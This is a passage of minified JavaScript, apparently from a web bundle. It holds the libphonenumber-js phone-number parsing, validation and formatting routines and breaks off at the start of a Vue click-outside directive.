z(e,[{key:\"pattern\",value:function(){return this.metadata.v1?this.type:this.type[0]}},{key:\"possibleLengths\",value:function(){if(!this.metadata.v1)return this.type[1]||this.metadata.possibleLengths()}}]),e}();function ae(e,t){switch(t){case\"FIXED_LINE\":return e[0];case\"MOBILE\":return e[1];case\"TOLL_FREE\":return e[2];case\"PREMIUM_RATE\":return e[3];case\"PERSONAL_NUMBER\":return e[4];case\"VOICEMAIL\":return e[5];case\"UAN\":return e[6];case\"PAGER\":return e[7];case\"VOIP\":return e[8];case\"SHARED_COST\":return e[9]}}function oe(e){if(!e)throw new Error(\"[libphonenumber-js] `metadata` argument not passed. Check your arguments.\");if(!X(e)||!X(e.countries))throw new Error(\"[libphonenumber-js] `metadata` argument was passed but it's not a valid metadata. Must be an object having `.countries` child object property. Got \".concat(X(e)?\"an object of shape: { \"+Object.keys(e).join(\", \")+\" }\":\"a \"+ie(e)+\": \"+e,\".\"))}var ie=function(e){return H(e)};function le(e,t){if(t=new J(t),t.hasCountry(e))return t.country(e).countryCallingCode();throw new Error(\"Unknown country: \".concat(e))}function se(e,t){return t.countries.hasOwnProperty(e)}function ue(e){var t=e.version;\"number\"==typeof t?(this.v1=1===t,this.v2=2===t,this.v3=3===t,this.v4=4===t):t?-1===V(t,K)?this.v2=!0:-1===V(t,q)?this.v3=!0:this.v4=!0:this.v1=!0}var de=\";ext=\",ce=function(e){return\"([\".concat(D,\"]{1,\").concat(e,\"})\")};function fe(e){var t=\"20\",n=\"15\",r=\"9\",a=\"6\",o=\"[  \\\\t,]*\",i=\"[:\\\\.．]?[  \\\\t,-]*\",l=\"#?\",s=\"(?:e?xt(?:ensi(?:ó?|ó))?n?|ｅ?ｘｔｎ?|доб|anexo)\",u=\"(?:[xｘ#＃~～]|int|ｉｎｔ)\",d=\"[- ]+\",c=\"[  \\\\t]*\",f=\"(?:,{2}|;)\",p=de+ce(t),h=o+s+i+ce(t)+l,v=o+u+i+ce(r)+l,m=d+ce(a)+\"#\",g=c+f+i+ce(n)+l,y=c+\"(?:,)+\"+i+ce(r)+l;return p+\"|\"+h+\"|\"+v+\"|\"+m+\"|\"+g+\"|\"+y}var pe=\"[\"+D+\"]{\"+O+\"}\",he=\"[\"+F+\"]{0,1}(?:[\"+j+\"]*[\"+D+\"]){3,}[\"+j+D+\"]*\",ve=new RegExp(\"^[\"+F+\"]{0,1}(?:[\"+j+\"]*[\"+D+\"]){1,2}$\",\"i\"),me=he+\"(?:\"+fe()+\")?\",ge=new RegExp(\"^\"+pe+\"$|^\"+me+\"$\",\"i\");function ye(e){return e.length>=O&&ge.test(e)}function be(e){return ve.test(e)}var $e=new RegExp(\"(?:\"+fe()+\")$\",\"i\");function we(e){var t=e.search($e);if(t\u003C0)return{};for(var n=e.slice(0,t),r=e.match($e),a=1;a\u003Cr.length;){if(r[a])return{number:n,ext:r[a]};a++}}var _e={0:\"0\",1:\"1\",2:\"2\",3:\"3\",4:\"4\",5:\"5\",6:\"6\",7:\"7\",8:\"8\",9:\"9\",\"０\":\"0\",\"１\":\"1\",\"２\":\"2\",\"３\":\"3\",\"４\":\"4\",\"５\":\"5\",\"６\":\"6\",\"７\":\"7\",\"８\":\"8\",\"９\":\"9\",\"٠\":\"0\",\"١\":\"1\",\"٢\":\"2\",\"٣\":\"3\",\"٤\":\"4\",\"٥\":\"5\",\"٦\":\"6\",\"٧\":\"7\",\"٨\":\"8\",\"٩\":\"9\",\"۰\":\"0\",\"۱\":\"1\",\"۲\":\"2\",\"۳\":\"3\",\"۴\":\"4\",\"۵\":\"5\",\"۶\":\"6\",\"۷\":\"7\",\"۸\":\"8\",\"۹\":\"9\"};function ke(e){return _e[e]}function Ce(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=xe(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function xe(e,t){if(e){if(\"string\"==typeof e)return Se(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return Se(e,t)}}function Se(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function Ee(e){for(var t,n=\"\",r=Ce(e.split(\"\"));!(t=r()).done;){var a=t.value;n+=Te(a,n)||\"\"}return n}function Te(e,t){return\"+\"===e?t?void 0:\"+\":ke(e)}function Re(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=Oe(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function Oe(e,t){if(e){if(\"string\"==typeof e)return Me(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return Me(e,t)}}function Me(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function Ae(e,t){for(var n,r=e.slice(),a=Re(t);!(n=a()).done;){var o=n.value;e.indexOf(o)\u003C0&&r.push(o)}return r.sort(function(e,t){return e-t})}function De(e,t){return Be(e,void 0,t)}function Be(e,t,n){var r=n.type(t),a=r&&r.possibleLengths()||n.possibleLengths();if(!a)return\"IS_POSSIBLE\";if(\"FIXED_LINE_OR_MOBILE\"===t){if(!n.type(\"FIXED_LINE\"))return Be(e,\"MOBILE\",n);var o=n.type(\"MOBILE\");o&&(a=Ae(a,o.possibleLengths()))}else if(t&&!r)return\"INVALID_LENGTH\";var i=e.length,l=a[0];return l===i?\"IS_POSSIBLE\":l>i?\"TOO_SHORT\":a[a.length-1]\u003Ci?\"TOO_LONG\":a.indexOf(i,1)>=0?\"IS_POSSIBLE\":\"INVALID_LENGTH\"}function We(e,t,n){if(void 0===t&&(t={}),n=new J(n),t.v2){if(!e.countryCallingCode)throw new Error(\"Invalid phone number object passed\");n.selectNumberingPlan(e.countryCallingCode)}else{if(!e.phone)return!1;if(e.country){if(!n.hasCountry(e.country))throw new Error(\"Unknown country: \".concat(e.country));n.country(e.country)}else{if(!e.countryCallingCode)throw new Error(\"Invalid phone number object passed\");n.selectNumberingPlan(e.countryCallingCode)}}if(n.possibleLengths())return Pe(e.phone||e.nationalNumber,n);if(e.countryCallingCode&&n.isNonGeographicCallingCode(e.countryCallingCode))return!0;throw new Error('Missing \"possibleLengths\" in metadata. Perhaps the metadata has been generated before v1.0.18.')}function Pe(e,t){switch(De(e,t)){case\"IS_POSSIBLE\":return!0;default:return!1}}function Ie(e,t){return e=e||\"\",new RegExp(\"^(?:\"+t+\")$\").test(e)}function Ne(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=Le(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function Le(e,t){if(e){if(\"string\"==typeof e)return je(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return je(e,t)}}function je(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}var Fe=[\"MOBILE\",\"PREMIUM_RATE\",\"TOLL_FREE\",\"SHARED_COST\",\"VOIP\",\"PERSONAL_NUMBER\",\"PAGER\",\"UAN\",\"VOICEMAIL\"];function Ve(e,t,n){if(t=t||{},e.country||e.countryCallingCode){n=new J(n),n.selectNumberingPlan(e.country,e.countryCallingCode);var r=t.v2?e.nationalNumber:e.phone;if(Ie(r,n.nationalNumberPattern())){if(Ue(r,\"FIXED_LINE\",n))return n.type(\"MOBILE\")&&\"\"===n.type(\"MOBILE\").pattern()||!n.type(\"MOBILE\")||Ue(r,\"MOBILE\",n)?\"FIXED_LINE_OR_MOBILE\":\"FIXED_LINE\";for(var a,o=Ne(Fe);!(a=o()).done;){var i=a.value;if(Ue(r,i,n))return i}}}}function Ue(e,t,n){return t=n.type(t),!(!t||!t.pattern()||t.possibleLengths()&&t.possibleLengths().indexOf(e.length)\u003C0)&&Ie(e,t.pattern())}function Xe(e,t,n){if(t=t||{},n=new J(n),n.selectNumberingPlan(e.country,e.countryCallingCode),n.hasTypes())return void 0!==Ve(e,t,n.metadata);var r=t.v2?e.nationalNumber:e.phone;return Ie(r,n.nationalNumberPattern())}function He(e,t,n){var r=new J(n),a=r.getCountryCodesForCallingCode(e);return a?a.filter(function(e){return Ge(t,e,n)}):[]}function Ge(e,t,n){var r=new J(n);return r.selectNumberingPlan(t),r.numberingPlan.possibleLengths().indexOf(e.length)>=0}function Ye(e){return e.replace(new RegExp(\"[\".concat(j,\"]+\"),\"g\"),\" \").trim()}var ze=\u002F(\\$\\d)\u002F;function Ke(e,t,n){var r=n.useInternationalFormat,a=n.withNationalPrefix;n.carrierCode,n.metadata;var o=e.replace(new RegExp(t.pattern()),r?t.internationalFormat():a&&t.nationalPrefixFormattingRule()?t.format().replace(ze,t.nationalPrefixFormattingRule()):t.format());return r?Ye(o):o}var qe=\u002F^[\\d]+(?:[~\\u2053\\u223C\\uFF5E][\\d]+)?$\u002F;function Qe(e,t,n){var r=new J(n);return r.selectNumberingPlan(e,t),r.defaultIDDPrefix()?r.defaultIDDPrefix():qe.test(r.IDDPrefix())?r.IDDPrefix():void 0}function Ze(e){var t=e.number,n=e.ext;if(!t)return\"\";if(\"+\"!==t[0])throw new Error('\"formatRFC3966()\" expects \"number\" to be in E.164 format.');return\"tel:\".concat(t).concat(n?\";ext=\"+n:\"\")}function Je(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=et(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function et(e,t){if(e){if(\"string\"==typeof e)return tt(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return tt(e,t)}}function tt(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function nt(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function rt(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nt(Object(n),!0).forEach(function(t){at(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nt(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function at(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ot={formatExtension:function(e,t,n){return\"\".concat(e).concat(n.ext()).concat(t)}};function it(e,t,n,r){if(n=n?rt(rt({},ot),n):ot,r=new J(r),e.country&&\"001\"!==e.country){if(!r.hasCountry(e.country))throw new Error(\"Unknown country: \".concat(e.country));r.country(e.country)}else{if(!e.countryCallingCode)return e.phone||\"\";r.selectNumberingPlan(e.countryCallingCode)}var a,o=r.countryCallingCode(),i=n.v2?e.nationalNumber:e.phone;switch(t){case\"NATIONAL\":return i?(a=lt(i,e.carrierCode,\"NATIONAL\",r,n),ut(a,e.ext,r,n.formatExtension)):\"\";case\"INTERNATIONAL\":return i?(a=lt(i,null,\"INTERNATIONAL\",r,n),a=\"+\".concat(o,\" \").concat(a),ut(a,e.ext,r,n.formatExtension)):\"+\".concat(o);case\"E.164\":return\"+\".concat(o).concat(i);case\"RFC3966\":return Ze({number:\"+\".concat(o).concat(i),ext:e.ext});case\"IDD\":if(!n.fromCountry)return;var l=dt(i,e.carrierCode,o,n.fromCountry,r);return ut(l,e.ext,r,n.formatExtension);default:throw new Error('Unknown \"format\" argument passed to \"formatNumber()\": \"'.concat(t,'\"'))}}function lt(e,t,n,r,a){var o=st(r.formats(),e);return o?Ke(e,o,{useInternationalFormat:\"INTERNATIONAL\"===n,withNationalPrefix:!(o.nationalPrefixIsOptionalWhenFormattingInNationalFormat()&&a&&!1===a.nationalPrefix),carrierCode:t,metadata:r}):e}function st(e,t){for(var n,r=Je(e);!(n=r()).done;){var a=n.value;if(a.leadingDigitsPatterns().length>0){var o=a.leadingDigitsPatterns()[a.leadingDigitsPatterns().length-1];if(0!==t.search(o))continue}if(Ie(t,a.pattern()))return a}}function ut(e,t,n,r){return t?r(e,t,n):e}function dt(e,t,n,r,a){var o=le(r,a.metadata);if(o===n){var i=lt(e,t,\"NATIONAL\",a);return\"1\"===n?n+\" \"+i:i}var l=Qe(r,void 0,a.metadata);if(l)return\"\".concat(l,\" \").concat(n,\" \").concat(lt(e,null,\"INTERNATIONAL\",a))}function ct(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function ft(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ct(Object(n),!0).forEach(function(t){pt(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ct(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function pt(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ht(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function vt(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function mt(e,t,n){return t&&vt(e.prototype,t),n&&vt(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}var gt=function(){function e(t,n,r){if(ht(this,e),!t)throw new TypeError(\"`country` or `countryCallingCode` not passed\");if(!n)throw new TypeError(\"`nationalNumber` not passed\");if(!r)throw new TypeError(\"`metadata` not passed\");var a=bt(t,r),o=a.country,i=a.countryCallingCode;this.country=o,this.countryCallingCode=i,this.nationalNumber=n,this.number=\"+\"+this.countryCallingCode+this.nationalNumber,this.getMetadata=function(){return r}}return mt(e,[{key:\"setExt\",value:function(e){this.ext=e}},{key:\"getPossibleCountries\",value:function(){return this.country?[this.country]:He(this.countryCallingCode,this.nationalNumber,this.getMetadata())}},{key:\"isPossible\",value:function(){return We(this,{v2:!0},this.getMetadata())}},{key:\"isValid\",value:function(){return Xe(this,{v2:!0},this.getMetadata())}},{key:\"isNonGeographic\",value:function(){var e=new J(this.getMetadata());return e.isNonGeographicCallingCode(this.countryCallingCode)}},{key:\"isEqual\",value:function(e){return this.number===e.number&&this.ext===e.ext}},{key:\"getType\",value:function(){return Ve(this,{v2:!0},this.getMetadata())}},{key:\"format\",value:function(e,t){return it(this,e,t?ft(ft({},t),{},{v2:!0}):{v2:!0},this.getMetadata())}},{key:\"formatNational\",value:function(e){return this.format(\"NATIONAL\",e)}},{key:\"formatInternational\",value:function(e){return this.format(\"INTERNATIONAL\",e)}},{key:\"getURI\",value:function(e){return this.format(\"RFC3966\",e)}}]),e}(),yt=function(e){return\u002F^[A-Z]{2}$\u002F.test(e)};function bt(e,t){var n,r,a=new J(t);return yt(e)?(n=e,a.selectNumberingPlan(n),r=a.countryCallingCode()):r=e,{country:n,countryCallingCode:r}}var $t=new RegExp(\"([\"+D+\"])\");function wt(e,t,n,r){if(t){var a=new J(r);a.selectNumberingPlan(t,n);var o=new RegExp(a.IDDPrefix());if(0===e.search(o)){e=e.slice(e.match(o)[0].length);var i=e.match($t);if(!(i&&null!=i[1]&&i[1].length>0&&\"0\"===i[1]))return e}}}function _t(e,t){if(e&&t.numberingPlan.nationalPrefixForParsing()){var n=new RegExp(\"^(?:\"+t.numberingPlan.nationalPrefixForParsing()+\")\"),r=n.exec(e);if(r){var a,o,i,l=r.length-1,s=l>0&&r[l];if(t.nationalPrefixTransformRule()&&s)a=e.replace(n,t.nationalPrefixTransformRule()),l>1&&(o=r[1]);else{var u=r[0];a=e.slice(u.length),s&&(o=r[1])}if(s){var d=e.indexOf(r[1]),c=e.slice(0,d);c===t.numberingPlan.nationalPrefix()&&(i=t.numberingPlan.nationalPrefix())}else i=r[0];return{nationalNumber:a,nationalPrefix:i,carrierCode:o}}}return{nationalNumber:e}}function kt(e,t){var n=_t(e,t),r=n.carrierCode,a=n.nationalNumber;if(a!==e){if(!Ct(e,a,t))return{nationalNumber:e};if(t.possibleLengths()&&!xt(a,t))return{nationalNumber:e}}return{nationalNumber:a,carrierCode:r}}function Ct(e,t,n){return!(Ie(e,n.nationalNumberPattern())&&!Ie(t,n.nationalNumberPattern()))}function xt(e,t){switch(De(e,t)){case\"TOO_SHORT\":case\"INVALID_LENGTH\":return!1;default:return!0}}function St(e,t,n,r){var a=t?le(t,r):n;if(0===e.indexOf(a)){r=new J(r),r.selectNumberingPlan(t,n);var o=e.slice(a.length),i=kt(o,r),l=i.nationalNumber,s=kt(e,r),u=s.nationalNumber;if(!Ie(u,r.nationalNumberPattern())&&Ie(l,r.nationalNumberPattern())||\"TOO_LONG\"===De(u,r))return{countryCallingCode:a,number:o}}return{number:e}}function Et(e,t,n,r){if(!e)return{};var a;if(\"+\"!==e[0]){var o=wt(e,t,n,r);if(!o||o===e){if(t||n){var i=St(e,t,n,r),l=i.countryCallingCode,s=i.number;if(l)return{countryCallingCodeSource:\"FROM_NUMBER_WITHOUT_PLUS_SIGN\",countryCallingCode:l,number:s}}return{number:e}}a=!0,e=\"+\"+o}if(\"0\"===e[1])return{};r=new J(r);for(var u=2;u-1\u003C=A&&u\u003C=e.length;){var d=e.slice(1,u);if(r.hasCallingCode(d))return r.selectNumberingPlan(d),{countryCallingCodeSource:a?\"FROM_NUMBER_WITH_IDD\":\"FROM_NUMBER_WITH_PLUS_SIGN\",countryCallingCode:d,number:e.slice(u)};u++}return{}}function Tt(e,t){var n=typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(n)return(n=n.call(e)).next.bind(n);if(Array.isArray(e)||(n=Rt(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function Rt(e,t){if(e){if(\"string\"==typeof e)return Ot(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return Ot(e,t)}}function Ot(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function Mt(e,t){var n=t.countries,r=t.defaultCountry,a=t.metadata;a=new J(a);for(var o,i=[],l=Tt(n);!(o=l()).done;){var s=o.value;if(a.country(s),a.leadingDigits()){if(e&&0===e.search(a.leadingDigits()))return s}else if(Ve({phone:e,country:s},void 0,a.metadata)){if(!r)return s;if(s===r)return s;i.push(s)}}if(i.length>0)return i[0]}var At=!1;function Dt(e,t){var n=t.nationalNumber,r=t.defaultCountry,a=t.metadata;if(At&&a.isNonGeographicCallingCode(e))return\"001\";var o=a.getCountryCodesForCallingCode(e);return o?1===o.length?o[0]:Mt(n,{countries:o,defaultCountry:r,metadata:a.metadata}):void 0}var Bt=\"+\",Wt=\"[\\\\-\\\\.\\\\(\\\\)]?\",Pt=\"([\"+D+\"]|\"+Wt+\")\",It=\"^\\\\\"+Bt+Pt+\"*[\"+D+\"]\"+Pt+\"*$\",Nt=new RegExp(It,\"g\"),Lt=D,jt=\"[\"+Lt+\"]+((\\\\-)*[\"+Lt+\"])*\",Ft=\"a-zA-Z\",Vt=\"[\"+Ft+\"]+((\\\\-)*[\"+Lt+\"])*\",Ut=\"^(\"+jt+\"\\\\.)*\"+Vt+\"\\\\.?$\",Xt=new RegExp(Ut,\"g\"),Ht=\"tel:\",Gt=\";phone-context=\",Yt=\";isub=\";function zt(e){var t=e.indexOf(Gt);if(t\u003C0)return null;var n=t+Gt.length;if(n>=e.length)return\"\";var r=e.indexOf(\";\",n);return r>=0?e.substring(n,r):e.substring(n)}function Kt(e){return null===e||0!==e.length&&(Nt.test(e)||Xt.test(e))}function qt(e,t){var n,r=t.extractFormattedPhoneNumber,a=zt(e);if(!Kt(a))throw new R(\"NOT_A_NUMBER\");if(null===a)n=r(e)||\"\";else{n=\"\",a.charAt(0)===Bt&&(n+=a);var o,i=e.indexOf(Ht);o=i>=0?i+Ht.length:0;var l=e.indexOf(Gt);n+=e.substring(o,l)}var s=n.indexOf(Yt);if(s>0&&(n=n.substring(0,s)),\"\"!==n)return n}var Qt=250,Zt=new RegExp(\"[\"+F+D+\"]\"),Jt=new RegExp(\"[^\"+D+\"#]+$\");function en(e,t,n){if(t=t||{},n=new J(n),t.defaultCountry&&!n.hasCountry(t.defaultCountry))throw t.v2?new R(\"INVALID_COUNTRY\"):new Error(\"Unknown country: \".concat(t.defaultCountry));var r=nn(e,t.v2,t.extract),a=r.number,o=r.ext,i=r.error;if(!a){if(t.v2)throw new R(\"TOO_SHORT\"===i?\"TOO_SHORT\":\"NOT_A_NUMBER\");return{}}var l=an(a,t.defaultCountry,t.defaultCallingCode,n),s=l.country,u=l.nationalNumber,d=l.countryCallingCode,c=l.countryCallingCodeSource,f=l.carrierCode;if(!n.hasSelectedNumberingPlan()){if(t.v2)throw new R(\"INVALID_COUNTRY\");return{}}if(!u||u.length\u003CO){if(t.v2)throw new R(\"TOO_SHORT\");return{}}if(u.length>M){if(t.v2)throw new R(\"TOO_LONG\");return{}}if(t.v2){var p=new gt(d,u,n.metadata);return s&&(p.country=s),f&&(p.carrierCode=f),o&&(p.ext=o),p.__countryCallingCodeSource=c,p}var h=!!(t.extended?n.hasSelectedNumberingPlan():s)&&Ie(u,n.nationalNumberPattern());return t.extended?{country:s,countryCallingCode:d,carrierCode:f,valid:h,possible:!!h||!(!0!==t.extended||!n.possibleLengths()||!Pe(u,n)),phone:u,ext:o}:h?rn(s,u,o):{}}function tn(e,t,n){if(e){if(e.length>Qt){if(n)throw new R(\"TOO_LONG\");return}if(!1===t)return e;var r=e.search(Zt);if(!(r\u003C0))return e.slice(r).replace(Jt,\"\")}}function nn(e,t,n){var r=qt(e,{extractFormattedPhoneNumber:function(e){return tn(e,n,t)}});if(!r)return{};if(!ye(r))return be(r)?{error:\"TOO_SHORT\"}:{};var a=we(r);return a.ext?a:{number:r}}function rn(e,t,n){var r={country:e,phone:t};return n&&(r.ext=n),r}function an(e,t,n,r){var a,o=Et(Ee(e),t,n,r.metadata),i=o.countryCallingCodeSource,l=o.countryCallingCode,s=o.number;if(l)r.selectNumberingPlan(l);else{if(!s||!t&&!n)return{};r.selectNumberingPlan(t,n),t&&(a=t),l=n||le(t,r.metadata)}if(!s)return{countryCallingCodeSource:i,countryCallingCode:l};var u=kt(Ee(s),r),d=u.nationalNumber,c=u.carrierCode,f=Dt(l,{nationalNumber:d,defaultCountry:t,metadata:r});return f&&(a=f,\"001\"===f||r.country(a)),{country:a,countryCallingCode:l,countryCallingCodeSource:i,nationalNumber:d,carrierCode:c}}function on(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function ln(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?on(Object(n),!0).forEach(function(t){sn(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):on(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function sn(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function un(e,t,n){return en(e,ln(ln({},t),{},{v2:!0}),n)}function dn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function cn(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?dn(Object(n),!0).forEach(function(t){fn(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):dn(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function fn(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function pn(e,t){return yn(e)||gn(e,t)||vn(e,t)||hn()}function hn(){throw new TypeError(\"Invalid attempt to destructure non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}function vn(e,t){if(e){if(\"string\"==typeof e)return mn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);if(\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n))return mn(e,t)}}function mn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function gn(e,t){var n=null==e?null:typeof Symbol\u003C\"u\"&&e[Symbol.iterator]||e[\"@@iterator\"];if(null!=n){var r,a,o=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(o.push(r.value),!t||o.length!==t);i=!0);}catch(s){l=!0,a=s}finally{try{!i&&null!=n.return&&n.return()}finally{if(l)throw a}}return o}}function yn(e){if(Array.isArray(e))return e}function bn(e){var t,n,r,a=Array.prototype.slice.call(e),o=pn(a,4),i=o[0],l=o[1],s=o[2],u=o[3];if(\"string\"!=typeof i)throw new TypeError(\"A text for parsing must be a string.\");if(t=i,l&&\"string\"!=typeof l){if(!X(l))throw new Error(\"Invalid second argument: \".concat(l));s?(n=l,r=s):r=l}else u?(n=s,r=u):(n=void 0,r=s),l&&(n=cn({defaultCountry:l},n));return{text:t,options:n,metadata:r}}function $n(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,r)}return n}function wn(e){for(var t=1;t\u003Carguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$n(Object(n),!0).forEach(function(t){_n(e,t,n[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$n(Object(n)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})}return e}function _n(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function kn(e,t,n){t&&t.defaultCountry&&!se(t.defaultCountry,n)&&(t=wn(wn({},t),{},{defaultCountry:void 0}));try{return un(e,t,n)}catch(r){if(!(r instanceof R))throw r}}function Cn(){var e=bn(arguments),t=e.text,n=e.options,r=e.metadata;return kn(t,n,r)}function xn(){return h(Cn,arguments)}const Sn={beforeMount(e,t,n){if(\"function\"!=typeof t.value){const e=n.context.name;let r=`[Vue-click-outside:] provided expression ${t.expression} is not a function, but has to be`;e&&(r+=`Found in component ${e}`),console.warn(r)}e.clickOutsideEvent=function(n){const 